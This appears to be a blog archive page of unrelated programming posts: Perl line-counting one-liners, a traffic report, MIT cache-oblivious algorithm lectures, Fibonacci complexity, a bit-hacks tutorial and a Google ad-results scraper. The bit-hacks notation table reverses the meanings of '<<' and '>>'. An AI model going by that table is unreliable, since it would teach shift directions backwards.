This one-liner uses the “-n” program argument that places the line in ” $_ ” variable and then executes the program specified by “-e”. Unlike “-p”, it does not print the line after executing code in “-e”, so we have to call “print” explicitly to get it printed.

The one-liner calls “print” only on lines that have at least one character in them. And exactly like in the previous one-liner, it increments the line number in variable ” $a ” by one for each non-empty line.

The empty lines simply get ignored and never get printed.

12. Number all lines but print line numbers only non-empty lines.

perl -pe '$_ = "$. $_" if /./'

This one-liner is similar to one-liner #10. Here I modify the ” $_ ” variable that holds the entire line only if the line has at least one character. All other lines (empty ones) get printed without line numbers.

13. Number only lines that match a pattern, print others unmodified.

perl -pe '$_ = ++$a." $_" if /regex/'

Here we again use the “action if condition” statement but the condition in this case is a pattern (regular expression) “/regex/”. The action is the same as in one-liner #10. I don’t want to repeat, see #10 for explanation.

14. Number and print only lines that match a pattern.

perl -ne 'print ++$a." $_" if /regex/'

This one-liner is almost exactly like #11. The only difference is that it prints numbered lines that match only “/regex/”.

15. Number all lines, but print line numbers only for lines that match a pattern.

perl -pe '$_ = "$. $_" if /regex/'

This one-liner is similar to the previous one-liner and to one-liner #12. Here the line gets its line number prepended if it matches a /regex/, otherwise it just gets printed without a line number.

16. Number all lines in a file using a custom format (emulate cat -n).

perl -ne 'printf "%-5d %s", $., $_'

This one-liner uses the formatted print “printf” function to print the line number together with line. In this particular example the line numbers are left aligned on 5 char boundary.

Some other nice format strings are “%5d” that right-aligns line numbers on 5 char boundary and “%05d” that zero-fills and right-justifies the line numbers.

Here my Perl printf cheat sheet might come handy that lists all the possible format specifiers.

17. Print the total number of lines in a file (emulate wc -l).

perl -lne 'END { print $. }'

This one-liner uses the “END” block that Perl probably took as a feature from Awk language. The END block gets executed after the program has executed. In this case the program is the hidden loop over the input that was created by the “-n” argument. After it has looped over the input, the special variable ” $. ” contains the number of lines there was in the input. The END block prints this variable. The ” -l ” parameter sets the output record separator for “print” to a newline (so that we didn’t have to print “$.\n”).

Another way to do the same is:

perl -le 'print $n=()=<>'

This is a tricky one, but easy to understand if you know about Perl contexts. In this one-liner the ” ()=<> ” part causes the <> operator (the diamond operator) to evaluate in list context, that causes the diamond operator to read the whole file in a list. Next, ” $n ” gets evaluated in scalar context. Evaluating a list in a scalar context returns the number of elements in the list. Thus the ” $n=()=<> ” construction is equal to the number of lines in the input, that is number of lines in the file. The print statement prints this number out. The ” -l ” argument makes sure a newline gets added after printing out this number.

This is the same as writing the following, except longer:

perl -le 'print scalar(()=<>)'

And completely obvious version:

perl -le 'print scalar(@foo=<>)'

Yet another way to do it:

perl -ne '}{print $.'

This one-liner uses the eskimo operator “}{” in conjunction with “-n” command line argument. As I explained in one-liner #11, the “-n” argument forces Perl to assume a ” while(<>) { } ” loop around the program. The eskimo operator forces Perl to escape the loop, and the program turns out to be:

while (<>) {
}{                    # eskimo operator here
    print $.;
}

It’s easy to see that this program just loops over all the input and after it’s done doing so, it prints the ” $. “, which is the number of lines in the input.

18. Print the number of non-empty lines in a file.

perl -le 'print scalar(grep{/./}<>)'

This one-liner uses the “grep” function that is similar to the grep Unix command. Given a list of values, ” grep {condition} ” returns only those values that match condition. In this case the condition is a regular expression that matches at least one character, so the input gets filtered and the “grep{/./}” returns all lines that were non empty. To get the number of characters we evaluate the list in scalar context and print the result. (As I mentioned in the previous one-liner list in scalar context evaluates to number of elements in the list).

A golfer’s version of this one-liner would be to replace “scalar()” with ” ~~ ” (double bitwise negate), thus it can be shortened:

perl -le 'print ~~grep{/./}<>'

This can be made even shorter:

perl -le 'print~~grep/./,<>'

19. Print the number of empty lines in a file.

perl -lne '$a++ if /^$/; END {print $a+0}'

Here I use variable $a to count how many empty lines have I encountered. Once I have finished looping over all the lines, I print the value of $a in the END block. I use ” $a+0 ” construction to make sure ” 0 ” gets output if no lines were empty.

I could have also modified the previous one-liner:

perl -le 'print scalar(grep{/^$/}<>)'

Or written it with ” ~~ “:

perl -le 'print ~~grep{/^$/}<>'

These last two versions are not as effective, as they would read the whole file in memory. Where as the first one would do it line by line.

20. Print the number of lines in a file that match a pattern (emulate grep -c).

perl -lne '$a++ if /regex/; END {print $a+0}'

This one-liner is basically the same as the previous one, except it increments the line counter $a by one in case a line matches a regular expression /regex/.

Have Fun!

Have fun with these one-liners. These were really easy this time. The next part is going to be about various calculations.

Can you think of other numbering operations that I did not include here?

During this year (July 20, 2008 - July 26, 2009) I wrote 55 posts, which received around 1000 comments. According to StatCounter and Google Analytics my blog was visited by 1,050,000 unique people who viewed 1,700,000 pages. Wow, 1 million visitors! That’s very impressive!

Here is a Google Analytics graph of monthly page views for the last year (click for a larger version):

In the last three months I did not manage to write much and you can see how that reflected on the page views. A good lesson to be learned is to be persistent and keep writing articles consistently.

Here is the same graph with two years of data, showing a complete picture of my blog’s growth:

I like this seemingly linear growth. I hope it continues the same way the next year!

Here are the top 5 referring sites that my visitors came from:

• reddit (292,147 visitors).
• stumbleupon (69,575 visitors).
• hacker news (47,595 visitors).
• delicious (27,109 visitors).
• dzone (15,898 visitors).

And here are the top 5 referring blogs:

• Scott Klarr’s blog (7,848 visitors).
• My Free Science Online blog (6,284 visitors).
• Eric Wendelin’s blog (1,693 visitors).
• Andy Lester’s PerlBuzz blog (1,356 visitors).
• Jurgen Appelo’s blog (1,001 visitors)

I found that just a handful of blogs had linked to me during this year. The main reason, I suspect, is that I do not link out much myself… It’s something to improve upon.

If you remember, I ended the last year’s post with the following words (I had only 1000 subscribers at that time):

I am setting myself a goal of reaching 5000 subscribers by the end of the next year of blogging (July 2009)! I know that this is very ambitious goal but I am ready to take the challenge!

I can proudly say that I reached my ambitious goal! My blog now has almost 7000 subscribers! If you have not yet subscribed, click here to do it!

Here is the RSS subscriber graph for the whole two years:

Several months ago I approximated the subscriber data with an exponent function and it produced a good fit. Probably if I had continued writing articles at the same pace I did three months ago, I’d have over 10,000 subscribers now.

Anyway, let’s now turn to the top 10 most viewed posts:

• 1. My job interview experience at Google (144,400 views).
• 2. A Unix Utility You Should Know About: Pipe Viewer (124,570 views)
• 3. Code Reuse in Google Chrome Browser (115,750 views).
• 4. Famous Awk One-Liners Explained, Part I (87,721 views).
• 5. MIT Introduction to Algorithms, Part I: Analysis of Algorithms (79,536 views).
• 6. A Unix Utility You Should Know About: Netcat (51,354 views).
• 7. Famous Sed One-Liners Explained, Part I (49,068 views).
• 8. Vim Plugins You Should Know About, Part I: surround.vim (41,388 views).
• 9. 10 Awk Tips, Tricks and Pitfalls (29,689 views).
• 10. Low Level Bit Hacks You Absolutely Must Know (22,916 views).

The article that I liked the most myself but which didn’t make it to top ten was the “Set Operations in Unix Shell“. I just love this Unix stuff I did there.

I am also very proud for the following three article series that I wrote:

• 1. Review of MIT’s Introduction to Algorithms course (14 parts).
• 2. Famous Awk One-Liners Explained (4 parts: 1, 2, 3, 4).
• 3. Famous Sed One-Liners Explained (3 parts: 1, 2, 3)

Finally, here is a list of ideas that I have thought for the third year of blogging:

• Publish three e-books on Awk One-Liners, Sed One-Liners and Perl One-Liners.
• Launch mathematics, physics and general science blog.
• Write about mathematical foundations of cryptography and try to implement various cryptosystems and cryptography protocols.
• Publish my review of MIT’s Linear Algebra course (in math blog, so the main topic of catonmat stays computing).
• Publish my review of MIT’s Physics courses on Mechanics, Electromagnetism, and Waves (in physics blog).
• Publish my notes on how I learned the C++ language.
• Write more about computer security and ethical hacking.
• Write several book reviews.
• Create a bunch of various fun utilities and programs.
• Create at least one useful web project.
• Add a knowledge database to catonmat, create software to allow easy publishing to it.
• If time allows, publish reviews of important computer science publications.

I’ll document everything here as I go, so if you are interested in these topics stay with me by subscribing to my rss feed!

And to make things more challenging again, I am setting a new goal for the next year of blogging. The goal is to reach 20,000 subscribers by July 2010!

Hope to see you all on my blog again! Now it’s time for this delicious cake:

Cache-oblivious algorithms take into account something that has been ignored in all the lectures so far, particularly, the multilevel memory hierarchy of modern computers. Retrieving items from various levels of memory and cache make up a dominant factor of running time, so for speed it is crucial to minimize these costs. The main idea of cache-oblivious algorithms is to achieve optimal use of caches on all levels of a memory hierarchy without knowledge of their size.

Cache-oblivious algorithms should not be confused with cache-aware algorithms. Cache-aware algorithms and data structures explicitly depend on various hardware configuration parameters, such as the cache size. Cache-oblivious algorithms do not depend on any hardware parameters. An example of cache-aware (not cache-oblivious) data structure is a B-Tree that has the explicit parameter B, the size of a node. The main disadvantage of cache-aware algorithms is that they are based on the knowledge of the memory structure and size, which makes it difficult to move implementations from one architecture to another. Another problem is that it is very difficult, if not impossible, to adapt some of these algorithms to work with multiple levels in the memory hierarchy. Cache-oblivious algorithms solve both problems.

Lecture twenty-two introduces the terminology and notation used in cache-oblivious algorithms, explains the difference between cache-oblivious and cache-aware algorithms, does a simple memory analysis of several simple algorithms and culminates with a cache-oblivious algorithm for matrix multiplication.

The final lecture twenty-three is the most difficult in the whole course and shows cache-oblivious binary search trees and cache-oblivious sorting called funnel sort.

Use this supplementary reading material by professor Demaine to understand the material better: Cache-oblivious algorithms and data structures (.pdf).

Lecture 22: Cache Oblivious Algorithms I

Lecture twenty-two starts with an introduction to the modern memory hierarchy (CPU cache L1, L2, L3, main memory, disk cache, etc.) and with the notation and core concepts used in cache-oblivious algorithms.

A powerful result in cache-oblivious algorithm design is that if an algorithm is efficient on two levels of cache, then it’s efficient on any number of levels. Thus the study of cache-obliviousness can be simplified to two-level memory hierarchy, say the CPU cache and main memory, where the accesses to cache are instant but are orders of magnitude slower to main memory. Therefore the main question cache-oblivious algorithm analysis tries to address is how many memory transfers (MTs) does a problem of size N take. The notation used for this is MT(N). For an algorithm to be efficient, the number of memory transfers should be as small as possible.

Next the lecture analysis the number of memory transfers for basic array scanning and array reverse algorithms. Since array scanning is consequential, N elements can be processed with O(N/B) accesses, where B is the block size - number of elements that are automatically fetched as N-th element is accessed. That is MT(N) = O(N/B) for array scanning. The same bound holds for reversing an array, since it can be viewed two scans - one from the beginning and one from the end.

Next it’s shown that the classical binary search (covered in lecture 3) is not cache efficient, but order statistics problem (covered in lecture 6) is cache efficient.

Finally the lecture describes a cache efficient way to multiply matrices by storing them block-wise in memory.

You’re welcome to watch lecture twenty-two:

Topics covered in lecture twenty-two:

• [00:10] Introduction and history of cache-oblivious algorithms.
• [02:00] Modern memory hierarchy in computers: Caches L1, L2, L3, main memory, disk cache.
• [06:15] Formula for calculating the cost to access a block of memory.
• [08:18] Amortized cost to access one element in memory.
• [11:00] Spatial and temporal locality of algorithms.
• [13:45] Two-level memory model.
• [16:30] Notation: total cache size M, block size B, number of blocks M/B.
• [20:40] Notation: MT(N) - number of memory transfers of a problem of size N.
• [21:45] Cache-aware algorithms.
• [22:50] Cache-oblivious algorithms.
• [28:35] Blocking of memory.
• [32:45] Cache-oblivious scanning algorithm (visitor pattern).
• [36:20] Cache-oblivious Array-Reverse algorithm.
• [39:05] Memory transfers in classical binary search algorithm.
• [43:45] Divide and conquer algorithms.
• [45:50] Analysis of memory transfers in order statistics algorithm.
• [01:00:50] Analysis of classical matrix multiplication (with row major, column major memory layout).
• [01:07:30] Cache oblivious matrix multiplication.

Lecture twenty-two notes:

Lecture 22, page 1 of 2: modern memory hierarchy, spacial and temporal locality, two-level memory model, blocking of memory, basic algorithms: parallel scan.

Lecture 22, page 2 of 2: basic algorithms: binary search, divide and conquer algorithms, order statistics, matrix multiplication, block algorithms.

Lecture 23: Cache Oblivious Algorithms II

This was probably the most complicated lecture in the whole course. The whole lecture is devoted to two subjects - cache-oblivious search trees and cache-oblivious sorting.

While it’s relatively easy to understand the design of cache-oblivious way of storing search trees in memory, it’s amazingly difficult to understand the cache-efficient sorting. It’s called funnel sort which is basically an n-way merge sort (covered in lecture 1) with special cache-oblivious merging function called k-funnel.

You’re welcome to watch lecture twenty-three:

Topics covered in lecture twenty-three:

• [01:00] Cache-oblivious static search trees (binary search trees).
• [09:35] Analysis of static search trees.
• [18:15] Cache-aware sorting.
• [19:00] Sorting by repeated insertion in binary tree.
• [21:40] Sorting by binary merge sort.
• [31:20] Sorting by N-way mergesort.
• [36:20] Sorting bound for cache-oblivious sorting algorithms.
• [38:30] Cache-oblivious sorting.
• [41:40] Definition of K-Funnel (cache-oblivious merging).
• [43:35] Funnel sort.
• [54:05] Construction of K-Funnel.
• [01:03:10] How to fill buffer in k-funnel.
• [01:07:30] Analysis of fill buffer.

Lecture twenty-three notes:

Lecture 23, page 1 of 2: static search trees, cache aware sorting.

Lecture 23, page 2 of 2: cache oblivious sorting, k-funnels, funnel sort, fill-buffer algorithm and analysis.

Have fun with the cache oblivious algorithms! I’ll do a few more posts that will summarize all these lectures and highlight key ideas.

If you loved this, please subscribe to my blog!

Let’s start with the simplest linear time implementation of the Fibonacci number generating algorithm in Python:

def LinearFibonacci(n):
  fn = f1 = f2 = 1
  for x in xrange(2, n):
    fn = f1 + f2
    f2, f1 = f1, fn
  return fn

The theory says that this algorithm should run in O(n) - given the n-th Fibonacci number to find, the algorithm does a single loop up to n.

Now let’s verify if this algorithm is really linear in practice. If it’s linear then the plot of n vs. running time of LinearFibonacci(n) should be a line. I plotted these values for n up to 200,000 and here is the plot that I got:

Note: Each data point was averaged over 10 calculcations.

Oh no! This does not look linear at all! It looks quadratic! I fitted the data with a quadratic function and it fit nearly perfectly. Do you know why the seemingly linear algorithm went quadratic?

The answer is that the theoretical analysis assumed that all the operations in the algorithm executed in constant time. But this is not the case when we run the algorithm on a real machine! As the Fibonacci numbers get larger, each addition operation for calculating the next Fibonacci number “fn = f1 + f2 ” runs in time proportional to the length of the previous Fibonacci number. It’s because these huge numbers no longer fit in the basic units of computation in the CPU; so a big integer library is required. The addition of two numbers of length O(n) in a big integer library takes time of O(n).

I’ll show you that the running time of the real-life linear Fibonacci algorithm really is O(n^2) by taking into account this hidden cost of bigint library.

So at each iteration i we have a hidden cost of O(number of digits of f_i) = O(digits(f_i)). Let’s sum these hidden cost for the whole loop up to n:

Now let’s find the number of digits in the n-th Fibonacci number. To do that let’s use the well-known Binet’s formula, which tells us that the n-th Fibonacci number f_n can be expressed as:

It is also well-known that the number of digits in a number is integer part of log₁₀(number) + 1. Thus the number of digits in the n-th Fibonacci number is:

Thus if we now sum all the hidden costs for finding the n-th Fibonacci number we get:

There we have it. The running time of this “linear” algorithm is actually quadratic if we take into consideration that each addition operation runs proportionally to the length of addends.

Next time I’ll show you that if the addition operation runs in constant time, then the algorithm is truly linear; and later I will do a similar analysis of the logarithmic time algorithm for finding Fibonnaci numbers that uses this awesome matrix identity:

Don’t forget to subscribe if you are interested! It’s well worth every byte!

To get things going I’ll assume that you know what the two’s complement binary representation of an integer is and also that you know all the the bitwise operations.

I’ll use the following notation for bitwise operations in the article:

&   -  bitwise and
|   -  bitwise or
^   -  bitwise xor
~   -  bitwise not
<<  -  bitwise shift right
>>  -  bitwise shift left

The numbers in the article are 8 bit signed integers (though the operations work on arbitrary length signed integers) that are represented as two’s complement and they are usually named ‘x’. The result is usually ‘y’. The individual bits of ‘x’ are named b7, b6, b5, b4, b3, b3, b2, b1 and b0. The bit b7 is the sign bit (the most significant bit), and b0 is the least significant.

I’ll start with the most basic bit hacks and gradually progress to more difficult ones. I’ll use examples to explain how each bithack works.

If you are intrigued by this topic I urge you to subscribe to my blog. I can share a secret that there will be the 2nd part of this article where I cover more advanced bit hacks, and I will also release a cheat sheet with all these bit tricks! It’s well worth subscribing!

Here we go.

Bit Hack #1. Check if the integer is even or odd.

if ((x & 1) == 0) {
  x is even
}
else {
  x is odd
}

I am pretty sure everyone has seen this trick. The idea here is that an integer is odd if and only if the least significant bit b0 is 1. It follows from the binary representation of ‘x’, where bit b0 contributes to either 1 or 0. By AND-ing ‘x’ with 1 we eliminate all the other bits than b0. If the result after this operation is 0, then ‘x’ was even because bit b0 was 0. Otherwise ‘x’ was odd.

Let’s look at some examples. Let’s take integer 43, which is odd. In binary 43 is 00101011. Notice that the least significant bit b0 is 1 (in bold). Now let’s AND it with 1:

    00101011
&   00000001   (note: 1 is the same as 00000001)
    --------
    00000001

See how AND-ing erased all the higher order bits b1-b7 but left bit b0 the same it was? The result is thus 1 which tells us that the integer was odd.

Now let’s look at -43. Just as a reminder, a quick way to find negative of a given number in two’s complement representation is to invert all bits and add one. So -43 is 11010101 in binary. Again notice that the last bit is 1, and the integer is odd. (Note that if we used one’s complement it wouldn’t be true!)

Now let’s take a look at an even integer 98. In binary 98 is 1100010.

    01100010
&   00000001
    --------
    00000000

After AND-ing the result is 0. It means that the bit b0 of original integer 98 was 0. Thus the given integer is even.

Now the negative -98. It’s 10011110. Again, bit b0 is 0, after AND-ing, the result is 0, meaning -98 is even, which indeed is true.

Bit Hack #2. Test if the n-th bit is set.

if (x & (1<<n)) {
  n-th bit is set
}
else {
  n-th bit is not set
}

In the previous bit hack we saw that (x & 1) tests if the first bit is set. This bit hack improves this result and tests if n-th bit is set. It does it by shifting that first 1-bit n positions to the left and then doing the same AND operation, which eliminates all bits but n-th.

Here is what happens if you shift 1 several positions to the left:

1         00000001    (same as 1<<0)
1<<1      00000010
1<<2      00000100
1<<3      00001000
1<<4      00010000
1<<5      00100000
1<<6      01000000
1<<7      10000000

Now if we AND ‘x’ with 1 shifted n positions to the left we effectively eliminate all the bits but n-th bit in ‘x’. If the result after AND-ing is 0, then that bit must have been 0, otherwise that bit was set.

Let’s look at some examples.

Does 122 have 3rd bit set? The operation we do to find it out is:

122 & (1<<3)

Now, 122 is 01111010 in binary. And (1<<3) is 00001000.

    01111010
&   00001000
    --------
    00001000

We see that the result is not 0, so yes, 122 has the 3rd bit set.

Note: In my article bit numeration starts with 0. So it’s 0th bit, 1st bit, …, 7th bit.

What about -33? Does it have the 5th bit set?

    11011111      (-33 in binary)
&   00100000     (1<<5)
    --------
    00000000

Result is 0, so the 5th bit is not set.

Bit Hack #3. Set the n-th bit.

y = x | (1<<n)

This bit hack combines the same (1<<n) trick of setting n-th bit by shifting with OR operation. The result of OR-ing a variable with a value that has n-th bit set is turning that n-th bit on. It’s because OR-ing any value with 0 leaves the value the same; but OR-ing it with 1 changes it to 1 (if it wasn’t already). Let’s see how that works in action:

Suppose we have value 120, and we wish to turn on the 2nd bit.

    01111000    (120 in binary)
|   00000100    (1<<2)
    --------
    01111100

What about -120 and 6th bit?

    10001000   (-120 in binary)
|   01000000   (1<<6)
    --------
    11001000

Bit Hack #4. Unset the n-th bit.

y = x & ~(1<<n)

The important part of this bithack is the ~(1<<n) trick. It turns on all the bits except n-th.

Here is how it looks:

~1        11111110  (same as ~(1<<0))
~(1<<1)   11111101
~(1<<2)   11111011
~(1<<3)   11110111
~(1<<4)   11101111
~(1<<5)   11011111
~(1<<6)   10111111
~(1<<7)   01111111

The effect of AND-ing variable ‘x’ with this quantity is eliminating n-th bit. It does not matter if the n-th bit was 0 or 1, AND-ing it with 0 sets it to 0.

Here is an example. Let’s unset 4th bit in 127:

    01111111    (127 in binary)
&   11101111    (~(1<<4))
    --------
    01101111

Bit Hack #5. Toggle the n-th bit.

y = x ^ (1<<n)

This bit hack also uses the wonderful “set n-th bit shift hack” but this time it XOR’s it with the variable ‘x’. The result of XOR-ing something with something else is that if both bits are the same, the result is 0, otherwise it’s 1. How does it toggle n-th bit? Well, if n-th bit was 1, then XOR-ing it with 1 changes it to 0; conversely, if it was 0, then XOR-ing with with 1 changes it to 1. See, the bit got flipped.

Here is an example. Suppose you want to toggle 5th bit in value 01110101:

    01110101
^   00100000
    --------
    01010101

What about the same value but 5th bit originally 0?

    01010101
^   00100000
    --------
    01110101

Notice something? XOR-ing the same bit twice returned it to the same value. This nifty XOR property is used in calculating parity in RAID arrays and used in simple cryptography cyphers, but more about that in some other article.

Bit Hack #6. Turn off the rightmost 1-bit.

y = x & (x-1)

Now it finally gets more interesting!!! Bit hacks #1 - #5 were kind of boring to be honest.

This bit hack turns off the rightmost one-bit. For example, given an integer 00101010 (the rightmost 1-bit in bold) it turns it into 00101000. Or given 00010000 it turns it into 0, as there is just a single 1-bit.

Here are more examples:

    01010111    (x)
&   01010110    (x-1)
    --------
    01010110

    01011000    (x)
&   01010111    (x-1)
    --------
    01010000

    10000000    (x = -128)
&   01111111    (x-1 = 127 (with overflow))
    --------
    00000000

    11111111    (x = all bits 1)
&   11111110    (x-1)
    --------
    11111110

    00000000    (x = no rightmost 1-bits)
&   11111111    (x-1)
    --------
    00000000

Why does it work?

If you look at the examples and think for a while, you’ll realize that there are two possible scenarios:

1. The value has the rightmost 1 bit. In this case subtracting one from it sets all the lower bits to one and changes that rightmost bit to 0 (so that if you add one now, you get the original value back). This step has masked out the rightmost 1-bit and now AND-ing it with the original value zeroes that rightmost 1-bit out.

2. The value has no rightmost 1 bit (all 0). In this case subtracting one underflows the value (as it’s signed) and sets all bits to 1. AND-ing all zeroes with all ones produces 0.

Bit Hack #7. Isolate the rightmost 1-bit.

y = x & (-x)

This bit hack finds the rightmost 1-bit and sets all the other bits to 0. The end result has only that one rightmost 1-bit set. For example, 01010100 (rightmost bit in bold) gets turned into 00000100.

Here are some more examples:

    10111100  (x)
&   01000100  (-x)
    --------
    00000100

    01110000  (x)
&   10010000  (-x)
    --------
    00010000

    00000001  (x)
&   11111111  (-x)
    --------
    00000001

    10000000  (x = -128)
&   10000000  (-x = -128)
    --------
    10000000

    11111111  (x = all bits one)
&   00000001  (-x)
    --------
    00000001

    00000000  (x = all bits 0, no rightmost 1-bit)
&   00000000  (-x)
    --------
    00000000

This bit hack works because of two’s complement. In two’s complement system -x is the same as ~x+1. Now let’s examine the two possible cases:

1. There is a rightmost 1-bit b_i. In this case let’s pivot on this bit and divide all other bits into two flanks - bits to the right and bits to the left. Remember that all the bits to the right b_i-1, b_i-2 … b₀ are 0’s (because b_i was the rightmost 1-bit). And bits to the left are the way they are. Let’s call them b_i+1, …, b_n.

Now, when we calculate -x, we first do ~x which turns bit b_i into 0, bits b_i-1 … b₀ into 1s, and inverts bits b_i+1, …, b_n, and then we add 1 to this result.

Since bits b_i-1 … b₀ are all 1’s, adding one makes them carry this one all the way to bit b_i, which is the first zero bit.

If we put it all together, the result of calculating -x is that bits b_i+1, …, b_n get inverted, bit b_i stays the same, and bits b_i-1, …, b₀ are all 0’s.

Now, AND-ing x with -x makes bits b_i+1, …, b_n all 0, leaves bit b_i as is, and sets bits b_i-1, …, b₀ to 0. Only one bit is left, it’s the bit b_i - the rightmost 1-bit.

2. There is no rightmost 1-bit. The value is 0. The negative of 0 in two’s complement is also 0. 0&0 = 0. No bits get turned on.

We have proved rigorously that this bithack is correct.

Bit Hack #8. Right propagate the rightmost 1-bit.

y = x | (x-1)

This is best understood by an example. Given a value 01010000 it turns it into 01011111. All the 0-bits right to the rightmost 1-bit got turned into ones.

This is not a clean hack, tho, as it produces all 1’s if x = 0.

Let’s look at more examples:

    10111100  (x)
|   10111011  (x-1)
    --------
    10111111

    01110111  (x)
|   01110110  (x-1)
    --------
    01110111

    00000001  (x)
|   00000000  (x-1)
    --------
    00000001

    10000000  (x = -128)
|   01111111  (x-1 = 127)
    --------
    11111111

    11111111  (x = -1)
|   11111110  (x-1 = -2)
    --------
    11111111

    00000000  (x)
|   11111111  (x-1)
    --------
    11111111

Let’s prove it, though not as rigorously as in the previous bithack (as it’s too time consuming and this is not a scientific publication). There are two cases again. Let’s start with easiest first.

1. There is no rightmost 1-bit. In that case x = 0 and x-1 is -1. -1 in two’s complement is 11111111. OR-ing 0 with 11111111 produces the same 11111111. (Not the desired result, but that’s the way it is.)

2. There is the rightmost 1-bit b_i. Let’s divide all the bits in two groups again (like in the previous example). Calculating x-1 modifies only bits to the right, turning b_i into 0, and all the lower bits to 1’s. Now OR-ing x with x-1 leaves all the higher bits (to the left) the same, leaves bit b_i as it was 1, and since lower bits are all low 1’s it also turns them on. The result is that the rightmost 1-bit got propagated to lower order bits.

Bit Hack #9. Isolate the rightmost 0-bit.

y = ~x & (x+1)

This bithack does the opposite of #7. It finds the rightmost 0-bit, turns off all bits, and sets this bit to 1 in the result. For example, it finds the zero in bold in this number 10101011, producing 00000100.

More examples:

    10111100  (x)
    --------
    01000011  (~x)
&   10111101  (x+1)
    --------
    00000001

    01110111  (x)
    --------
    10001000  (~x)
&   01111000  (x+1)
    --------
    00001000

    00000001  (x)
    --------
    11111110  (~x)
&   00000010  (x+1)
    --------
    00000010

    10000000  (x = -128)
    --------
    01111111  (~x)
&   10000001  (x+1)
    --------
    00000001

    11111111  (x = no rightmost 0-bit)
    --------
    00000000  (~x)
&   00000000  (x+1)
    --------
    00000000

    00000000  (x)
    --------
    11111111  (~x)
&   00000001  (x+1)
    --------
    00000001

Proof: Suppose there is a rightmost 0-bit. Then ~x turns this rightmost 0 bit into 1 bit. And so does x+1 (because bits more right to the rightmost 0 bit are 1’s). Now AND-ing ~x with x+1 evaporates all the bits up to this rightmost 0 bit. This is the highest order bit set in the result. Now what about lower order bits to the right of rightmost 0 bit? They also got evaporated because because x+1 turned them into 0’s (they were 1’s) and ~x turned them into 0’s. They got AND-ed with 0 and evaporated.

Bit Hack #10. Turn on the rightmost 0-bit.

y = x | (x+1)

This hack changes the rightmost 0-bit into 1. For example, given an integer 10100011 it turns it into 10100111.

More examples:

    10111100  (x)
|   10111101  (x+1)
    --------
    10111101

    01110111  (x)
|   01111000  (x+1)
    --------
    01111111

    00000001  (x)
|   00000010  (x+1)
    --------
    00000011

    10000000  (x = -128)
|   10000001  (x+1)
    --------
    10000001

    11111111  (x = no rightmost 0-bit)
|   00000000  (x+1)
    --------
    11111111

    00000000  (x)
|   00000001  (x+1)
    --------
    00000001

Here is the proof as a bunch of true statements. OR-ing x with x+1 does not lose any information. Adding 1 to x fills the first rightmost 0. The result is max{x, x+1}. If x+1 overflows it’s x and there were no 0 bits. If it doesn’t, it’s x+1 which just got rightmost bit filled with 1.

Bonus stuff.

If you decide to play more with these hacks, here are a few utility functions to print binary values of 8 bit signed integers in Perl, Python and C.

Print binary representation in Perl:

sub int_to_bin {
  my $num = shift;
  print unpack "B8", pack "c", $num;
}

Or you can print it from command line right away:

perl -wle 'print unpack "B8", pack "c", shift' 

# For example:
perl -wle 'print unpack "B8", pack "c", shift' 113
01110001

perl -wle 'print unpack "B8", pack "c", shift' -- -128
10000000

Print binary number in Python:

def int_to_bin(num, bits=8):
 r = ''
 while bits:
  r = ('1' if num&1 else '0') + r
  bits = bits - 1
  num = num >> 1
 print r

Print binary representation in C:

void int_to_bin(int num) {
  char str[9] = {0};
  int i;
  for (i=7; i>=0; i--) {
    str[i] = (num&1)?'1':'0';
    num >>= 1;
  }
  printf("%s\n", str);
}

Have fun with these! I’ll write about advanced bit hacks some time soon. If you are really intrigued by this topic I encourage you to subscribe to my blog. Thanks!

Ps. Let me know in the comments what you think about this article, and let me know if you do not know what two’s complement, or the basic binary operations are. If there are a few people who would like me to explain these concepts, I’ll be glad to write another article just about these fundamental topics.

Pps. There is a book entirely on bit hacks like these. It’s called “Hacker’s Delight“. It may be worth getting if you are into this stuff:

Let me quickly explain why this library is useful, and what the Google Sponsored Links are.

For a typical search, Google shows regular web search results on the left side of the page, and “Sponsored Links” in a column on the right side. “Sponsored” means the results are pulled from Googe’s advertising network (Adwords).

Here is a screenshot that illustrates the Sponsored Links:

Google Sponsored Links results for search term “security” are in red.

Okay, now why would I need a library to search the Sponsored results? Suppose that I am an advertiser on Adwords, and I buy some software related keywords like “video software”. It is in my interests to know my competitors, their advertisement text, what are they up to, the new players in this niche, and their websites. Without my library it would be practically impossible to keep track of all the competitors. There can literally be hundreds of changes per day. However, with my library it’s now piece of cake to keep track of all the dynamics.

How does the library work?

The sponsored links library pulls the results from this URL: http://www.google.com/sponsoredlinks. Here is an example of all the sponsored results for a query “security”:

Sponsored links results for “security”.

The library just grabs page after page, calls BeautifulSoup, and extracts the search result elements. Elementary.

How to use the library?

As I mentioned, this library is part of my xgoogle library. Download and extract it first:

Download: xgoogle library (.zip)
Downloaded: 2788 times.
Download url: http://www.catonmat.net/download/xgoogle.zip

Now, the source file that contains the implementation of this library is “xgoogle/sponsoredlinks.py”. To use it, do the usual import “from xgoogle.sponsoredlinks import SponsoredLinks, SLError”.

SponsoredLinks is the class that provides the API and SLError is exception class that gets thrown in case of errors, so it’s a good idea to import both.

The SponsoredLinks has a similar interface as the xgoogle.search (the plain google search module). The constructor of SponsoredLinks takes the keyword you want to search for, and the constructed object has several public methods and properties:

• method get_results() - gets a page of results, returning a list of SponsoredLink objects. It returns an empty list if there are no more results.
• property num_results - returns number of search results found.
• property results_per_page - sets/gets the number of results to get per page (max 100).

The returned SponsoredLink objects have four attributes — “title”, “desc”, “url”, and “display_url”. Here is a picture that illustrates what each attribute stands for:

The picture does not show the “display_url” attribute as it’s the actual link the result links to (href of blue link in the pic).

Here is an example usage of this library. It retrieves first 100 Sponsored Links results for keyword “video software”:

from xgoogle.sponsoredlinks import SponsoredLinks, SLError
try:
  sl = SponsoredLinks("video software")
  sl.results_per_page = 100
  results = sl.get_results()
except SLError, e:
  print "Search failed: %s" % e

for result in results:
  print result.title.encode('utf8')
  print result.desc.encode('utf8')
  print result.display_url.encode('utf8')
  print result.url.encode('utf8')
  print

Output:

Photoshop Video Software
Time saving software for video. Work faster in Photoshop.
www.toolsfortelevision.com
http://www.toolsfortelevision.com

...

That’s about it for this time. Use it to find your competitors and outsmart them!

Next time I am going to expand the library for Google Sets search.

Have fun!